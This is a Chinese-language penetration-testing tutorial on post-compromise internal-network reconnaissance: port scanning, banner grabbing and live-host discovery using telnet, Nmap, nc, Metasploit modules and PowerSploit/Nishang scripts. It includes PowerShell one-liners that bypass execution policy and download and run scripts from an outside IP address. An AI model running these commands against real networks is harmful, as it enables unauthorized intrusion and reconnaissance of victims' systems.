我们在内网渗透中,通过查看域内目标主机的端口开放情况,来了解目标主机上的服务,通过其服务版本还可以找到其开放服务的漏洞。我们可以使用metasploit内置的端口扫描模块,也可以上传端口扫描工具进行扫描。在扫描时注意以下几点:
端口的banner信息
端口上运行的服务
利用telnet工具进行端口扫描
Telnet是进行远程登录的标准协议和主要方式,它为用户提供了在本地计算机上完成远程主机工作的能力。可以用telnet命令来测试端口号是否正常打开还是关闭状态。使用时需要目标主机在“添加删除程序”里面的“打开或关闭windows功能”里面开启telnet功能,然后你再去CMD的命令行里面输入telnet就没有问题了
telnet <主机> <端口> telnet 192.168.52.138 445
出现连接失败,代表对方端口没有打开。
PowerSploit 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/PowerShellMafia/PowerSploit
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '445,1433,8080,80,3389'" // 或者扫描全部的端口:-Ports "1-65535"
Nishang 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/samratashok/nishang
该脚本可用于发现主机、解析主机名、扫描端口。
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port '1-65535'" // -ResolveHost:解析主机名
Nmap扫描
这个工具就不用说了,在侵入内网后,挂上代理直接对内网主机扫描即可,也是我最常用的一个。详情见我的文章《内网渗透测试:隐藏通讯隧道技术》
Metasploit 端口扫描模块
Metasploit中提供了很多内置的扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/tcp 收集域内端口的banner信息banner信息表示“欢迎语”,其中会包含一些敏感信息,在banner信息中,可以获取到软件开发商、软件名称、服务类型、版本号等,而版本号信息有时会存在公开的CVE可以利用。获取到版本号后,可以在中查找到对应的CVE编号,并在ExploitDB等平台上面找到相关的利用方式。
使用Nmap获取banner
nmap <IP地址> --script=banner -p <端口/端口范围>
(666口好像是个木马)
使用nc获取banner
nc -nv <IP地址> <端口>探测内网主机存活
使用Metasploit模块
Metasploit中提供了很多内置的内网存活主机扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/tcp auxiliary/scanner/discovery/arp_sweep // 基于arp的主机发现 auxiliary/scanner/discovery/empty_udp auxiliary/scanner/discovery/udp_probe auxiliary/scanner/discovery/udp_sweep利用NetBIOS快速扫描内网存活